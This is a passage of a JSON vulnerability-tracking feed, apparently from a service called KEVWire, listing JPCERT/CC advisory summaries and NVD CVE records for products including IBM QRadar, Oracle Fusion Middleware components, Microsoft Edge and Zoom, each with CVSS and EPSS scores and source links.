Edge"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"JPCERT/CC Japan Advisories: Weekly report: Multiple vulnerabilities in Microsoft Edge","url":"https://www.jpcert.or.jp/wr/2026/wr261021.html#1","type":"primary","publishedAt":"2026-10-21T00:12:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"JPCERT/CC Japan Advisories syndication feed","url":"https://www.jpcert.or.jp/rss/jpcert.rdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"jpcert-wr261021-f1b513ab227d","cveId":null,"aliases":[],"kind":"advisory","title":"Weekly report: OS command injection vulnerability in SiteGuard Server Edition","summary":"Weekly report: OS command injection vulnerability in SiteGuard Server Edition. Original Japanese title: Weekly Report: SiteGuard Server EditionにOSコマンドインジェクションの脆弱性","detail":"The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.\n\nOriginal Japanese feed excerpt: SiteGuard Server EditionにOSコマンドインジェクションの脆弱性","action":"Consult the linked JPCERT/CC advisory for affected versions and the recommended action.","publishedAt":"2026-10-21T00:12:00.000Z","updatedAt":null,"regions":["Japan"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"JPCERT/CC Japan Advisories: Weekly report: OS command injection vulnerability in SiteGuard Server Edition","url":"https://www.jpcert.or.jp/wr/2026/wr261021.html#23","type":"primary","publishedAt":"2026-10-21T00:12:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"JPCERT/CC Japan Advisories syndication feed","url":"https://www.jpcert.or.jp/rss/jpcert.rdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"jpcert-wr261021-fbe47579e918","cveId":null,"aliases":[],"kind":"advisory","title":"Weekly report: Vulnerabilities in multiple Zoom products","summary":"Weekly report: Vulnerabilities in multiple Zoom products. Original Japanese title: Weekly Report: 複数のZoom製品に脆弱性","detail":"The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.\n\nOriginal Japanese feed excerpt: 複数のZoom製品に脆弱性","action":"Consult the linked JPCERT/CC advisory for affected versions and the recommended action.","publishedAt":"2026-10-21T00:12:00.000Z","updatedAt":null,"regions":["Japan"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"JPCERT/CC Japan Advisories: Weekly report: Vulnerabilities in multiple Zoom products","url":"https://www.jpcert.or.jp/wr/2026/wr261021.html#13","type":"primary","publishedAt":"2026-10-21T00:12:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"JPCERT/CC Japan Advisories syndication feed","url":"https://www.jpcert.or.jp/rss/jpcert.rdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-93888","cveId":"CVE-2026-93888","aliases":[],"kind":"vulnerability","title":"IBM Sterling Connect Direct for Unix 6.4.0.0 through 6.4.0.6 and 6.3.0.0 through 6.3.0.7 apnotify utility is vulnerable to a code injection due to insufficient validation of user...","summary":"IBM Sterling Connect Direct for Unix 6.4.0.0 through 6.4.0.6 and 6.3.0.0 through 6.3.0.7 apnotify utility is vulnerable to a code injection due to insufficient validation of user input.","detail":"IBM Sterling Connect Direct for Unix 6.4.0.0 through 6.4.0.6 and 6.3.0.0 through 6.3.0.7 apnotify utility is vulnerable to a code injection due to insufficient validation of user input.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:21:07.743Z","updatedAt":"2026-10-22T23:20:33.967Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-93888","asOf":"2026-10-22T23:20:33.967Z"},"epss":{"probability":0.00207,"percentile":0.10714,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-93888&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-93888","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93888","type":"primary","publishedAt":"2026-10-20T22:21:07.743Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-93888&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-93888, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-93442","cveId":"CVE-2026-93442","aliases":[],"kind":"vulnerability","title":"IBM QRadar SIEM 7.6.0.0 through 7.6.0.4, and 7.5.0 through 7.5.0 Update Package 16 Interim Fix 001 could allow a remote attacker to cause a denial of service or obtain sensitive...","summary":"IBM QRadar SIEM 7.6.0.0 through 7.6.0.4, and 7.5.0 through 7.5.0 Update Package 16 Interim Fix 001 could allow a remote attacker to cause a denial of service or obtain sensitive information due to an out-of-bounds read.","detail":"IBM QRadar SIEM 7.6.0.0 through 7.6.0.4, and 7.5.0 through 7.5.0 Update Package 16 Interim Fix 001 could allow a remote attacker to cause a denial of service or obtain sensitive information due to an out-of-bounds read.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:21:07.473Z","updatedAt":"2026-10-21T16:17:41.433Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-93442","asOf":"2026-10-21T16:17:41.433Z"},"epss":{"probability":0.00415,"percentile":0.35496,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-93442&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-93442","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93442","type":"primary","publishedAt":"2026-10-20T22:21:07.473Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-93442&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-93442, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-93441","cveId":"CVE-2026-93441","aliases":[],"kind":"vulnerability","title":"IBM QRadar SIEM could allow a remote attacker to cause a denial of service due to uncontrolled resource consumption.","summary":"IBM QRadar SIEM could allow a remote attacker to cause a denial of service due to uncontrolled resource consumption.","detail":"IBM QRadar SIEM could allow a remote attacker to cause a denial of service due to uncontrolled resource consumption.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:21:07.327Z","updatedAt":"2026-10-26T18:20:34.553Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-93441","asOf":"2026-10-26T18:20:34.553Z"},"epss":{"probability":0.00327,"percentile":0.25588,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-93441&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-93441","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93441","type":"primary","publishedAt":"2026-10-20T22:21:07.327Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-93441&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-93441, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91668","cveId":"CVE-2026-91668","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Data Integrator product of Oracle Fusion Middleware (component: Dictionary Repository).","summary":"Vulnerability in the Oracle Data Integrator product of Oracle Fusion Middleware (component: Dictionary Repository).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via SQL to compromise Oracle Data Integrator.  Successful attacks of this vulnerability can result in takeover of Oracle Data Integrator. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Data Integrator product of Oracle Fusion Middleware (component: Dictionary Repository).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via SQL to compromise Oracle Data Integrator.  Successful attacks of this vulnerability can result in takeover of Oracle Data Integrator. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:21:07.073Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91668","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00286,"percentile":0.20892,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91668&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91668","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91668","type":"primary","publishedAt":"2026-10-20T22:21:07.073Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91668&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91668, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91627","cveId":"CVE-2026-91627","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: Platform).","summary":"Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: Platform).  Supported versions that are affected are 15.0.0.0.0, 15.0.1.0.0, 15.1.0.0.0 and  15.2.0.0.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Communications Billing and Revenue Management executes to compromise Oracle Communications Billing and Revenue Management.  Successful attacks of this vulnerability can result in takeover of Oracle Communications Billing and Revenue Management. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: Platform).  Supported versions that are affected are 15.0.0.0.0, 15.0.1.0.0, 15.1.0.0.0 and  15.2.0.0.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Communications Billing and Revenue Management executes to compromise Oracle Communications Billing and Revenue Management.  Successful attacks of this vulnerability can result in takeover of Oracle Communications Billing and Revenue Management. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:21:02.567Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91627","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00162,"percentile":0.0533,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91627&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91627","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91627","type":"primary","publishedAt":"2026-10-20T22:21:02.567Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91627&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91627, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91625","cveId":"CVE-2026-91625","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).","summary":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Agile Product Lifecycle Management for Process accessible data as well as  unauthorized update, insert or delete access to some of Oracle Agile Product Lifecycle Management for Process accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).","detail":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Agile Product Lifecycle Management for Process accessible data as well as  unauthorized update, insert or delete access to some of Oracle Agile Product Lifecycle Management for Process accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:21:02.460Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91625","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00286,"percentile":0.20979,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91625&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91625","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91625","type":"primary","publishedAt":"2026-10-20T22:21:02.460Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91625&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91625, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91623","cveId":"CVE-2026-91623","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).","summary":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Agile Product Lifecycle Management for Process accessible data as well as  unauthorized access to critical data or complete access to all Oracle Agile Product Lifecycle Management for Process accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Agile Product Lifecycle Management for Process accessible data as well as  unauthorized access to critical data or complete access to all Oracle Agile Product Lifecycle Management for Process accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:21:02.223Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91623","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00341,"percentile":0.2736,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91623&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91623","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91623","type":"primary","publishedAt":"2026-10-20T22:21:02.223Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91623&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91623, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91610","cveId":"CVE-2026-91610","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle REST Data Services (component: General).","summary":"Vulnerability in Oracle REST Data Services (component: General).  Supported versions that are affected are 24.2.0-26.2.2. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle REST Data Services.  Successful attacks of this vulnerability can result in takeover of Oracle REST Data Services. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in Oracle REST Data Services (component: General).  Supported versions that are affected are 24.2.0-26.2.2. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle REST Data Services.  Successful attacks of this vulnerability can result in takeover of Oracle REST Data Services. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:21:01.330Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91610","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00389,"percentile":0.32688,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91610&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91610","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91610","type":"primary","publishedAt":"2026-10-20T22:21:01.330Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91610&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91610, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91608","cveId":"CVE-2026-91608","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: Web Server).","summary":"Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: Web Server).  Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and  26.01.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle BI Publisher.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle BI Publisher accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).","detail":"Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: Web Server).  Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and  26.01.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle BI Publisher.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle BI Publisher accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 